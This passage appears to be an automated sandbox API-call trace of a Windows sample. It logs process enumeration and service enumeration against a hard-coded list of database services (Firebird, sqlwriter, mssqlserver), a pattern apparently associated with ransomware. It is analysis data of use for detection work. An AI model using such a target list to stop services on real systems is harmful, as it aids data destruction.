th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0130.376] lstrlenW (lpString="concerned venture.exe") returned 21 [0130.376] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0130.377] lstrlenW (lpString="organizingscsi.exe") returned 18 [0130.377] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0130.378] lstrlenW (lpString="airplane placing.exe") returned 20 [0130.378] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0130.379] lstrlenW (lpString="circus.exe") returned 10 [0130.379] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0130.380] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0130.381] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0130.381] lstrlenW (lpString="das.exe") returned 7 [0130.381] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0130.382] lstrlenW (lpString="beam removable.exe") returned 18 [0130.382] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0130.383] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0130.383] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0130.384] lstrlenW (lpString="dome.exe") returned 8 [0130.384] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0130.385] lstrlenW (lpString="wiresjacket.exe") returned 15 [0130.385] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0130.386] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0130.386] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0130.387] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0130.387] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0130.388] lstrlenW (lpString="tested.exe") returned 10 [0130.388] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0130.389] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0130.389] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0130.390] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0130.390] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0130.391] lstrlenW (lpString="level.exe") returned 9 [0130.391] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0130.392] lstrlenW (lpString="dllhost.exe") returned 11 [0130.392] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.393] lstrlenW (lpString="conhost.exe") returned 11 [0130.393] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.394] lstrlenW (lpString="conhost.exe") returned 11 [0130.394] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.395] lstrlenW (lpString="svchost.exe") returned 11 [0130.395] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0130.397] lstrlenW (lpString="load0.exe") returned 9 [0130.397] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0130.398] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0130.398] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.399] lstrlenW (lpString="conhost.exe") returned 11 [0130.399] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0130.400] lstrlenW (lpString="cmd.exe") returned 7 [0130.400] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.401] lstrlenW (lpString="conhost.exe") returned 11 [0130.401] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.401] lstrlenW (lpString="svchost.exe") returned 11 [0130.401] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0130.402] CloseHandle (hObject=0x1078) returned 1 [0130.402] Sleep (dwMilliseconds=0x1f4) [0130.918] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e32d0 [0130.918] EnumServicesStatusExW (in: hSCManager=0x5e32d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0130.918] GetLastError () returned 0xea [0130.918] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69bb60 [0130.919] EnumServicesStatusExW (in: hSCManager=0x5e32d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bb60, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bb60, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0130.919] CloseServiceHandle (hSCObject=0x5e32d0) returned 1 [0130.919] lstrlenW (lpString="Appinfo") returned 7 [0130.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0130.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0130.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0130.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0130.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0130.919] lstrlenW (lpString="AppXSvc") returned 7 [0130.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0130.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0130.920] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0130.920] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0130.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0130.920] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0130.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.920] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0130.920] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0130.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0130.920] lstrlenW (lpString="Audiosrv") returned 8 [0130.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0130.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0130.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0130.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0130.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0130.920] lstrlenW (lpString="BFE") returned 3 [0130.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0130.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0130.920] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0130.920] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0130.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0130.920] lstrlenW (lpString="BITS") returned 4 [0130.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0130.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0130.920] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0130.920] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0130.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0130.920] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0130.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0130.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0130.920] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0130.920] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0130.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0130.920] lstrlenW (lpString="CDPSvc") returned 6 [0130.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0130.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0130.921] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0130.921] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0130.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0130.921] lstrlenW (lpString="ClickToRunSvc") returned 13 [0130.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0130.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0130.921] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0130.921] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0130.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0130.921] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0130.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0130.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0130.921] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0130.921] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0130.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0130.921] lstrlenW (lpString="CryptSvc") returned 8 [0130.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0130.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0130.921] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0130.921] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0130.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0130.921] lstrlenW (lpString="DcomLaunch") returned 10 [0130.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.921] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0130.921] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0130.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0130.921] lstrlenW (lpString="DeviceAssociationService") returned 24 [0130.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0130.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0130.921] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0130.921] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0130.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0130.921] lstrlenW (lpString="Dhcp") returned 4 [0130.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0130.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0130.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0130.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0130.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0130.922] lstrlenW (lpString="Dnscache") returned 8 [0130.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0130.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0130.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0130.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0130.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0130.922] lstrlenW (lpString="DoSvc") returned 5 [0130.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0130.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0130.922] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0130.922] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0130.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0130.922] lstrlenW (lpString="DPS") returned 3 [0130.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0130.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0130.922] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0130.922] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0130.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0130.922] lstrlenW (lpString="DusmSvc") returned 7 [0130.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0130.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0130.922] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0130.922] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0130.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0130.923] lstrlenW (lpString="EventLog") returned 8 [0130.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0130.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0130.923] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0130.923] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0130.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0130.923] lstrlenW (lpString="EventSystem") returned 11 [0130.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0130.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0130.923] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0130.923] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0130.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0130.923] lstrlenW (lpString="FontCache") returned 9 [0130.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0130.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0130.923] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0130.923] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0130.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0130.923] lstrlenW (lpString="gpsvc") returned 5 [0130.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0130.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0130.923] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0130.923] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0130.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0130.923] lstrlenW (lpString="iphlpsvc") returned 8 [0130.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.924] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0130.924] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0130.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0130.924] lstrlenW (lpString="KeyIso") returned 6 [0130.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0130.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0130.924] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0130.924] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0130.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0130.924] lstrlenW (lpString="LanmanServer") returned 12 [0130.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0130.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0130.924] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0130.924] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0130.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0130.924] lstrlenW (lpString="LanmanWorkstation") returned 17 [0130.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.924] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0130.924] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0130.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0130.924] lstrlenW (lpString="lfsvc") returned 5 [0130.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0130.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0130.924] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0130.924] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0130.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0130.924] lstrlenW (lpString="lmhosts") returned 7 [0130.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0130.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0130.924] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0130.925] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0130.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0130.925] lstrlenW (lpString="LSM") returned 3 [0130.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0130.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0130.925] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0130.925] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0130.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0130.925] lstrlenW (lpString="MapsBroker") returned 10 [0130.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0130.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0130.925] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0130.925] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0130.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0130.925] lstrlenW (lpString="MpsSvc") returned 6 [0130.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0130.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0130.925] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0130.925] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0130.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0130.925] lstrlenW (lpString="NcbService") returned 10 [0130.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0130.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0130.925] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0130.925] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0130.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0130.925] lstrlenW (lpString="netprofm") returned 8 [0130.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0130.925] lstrcmpiW 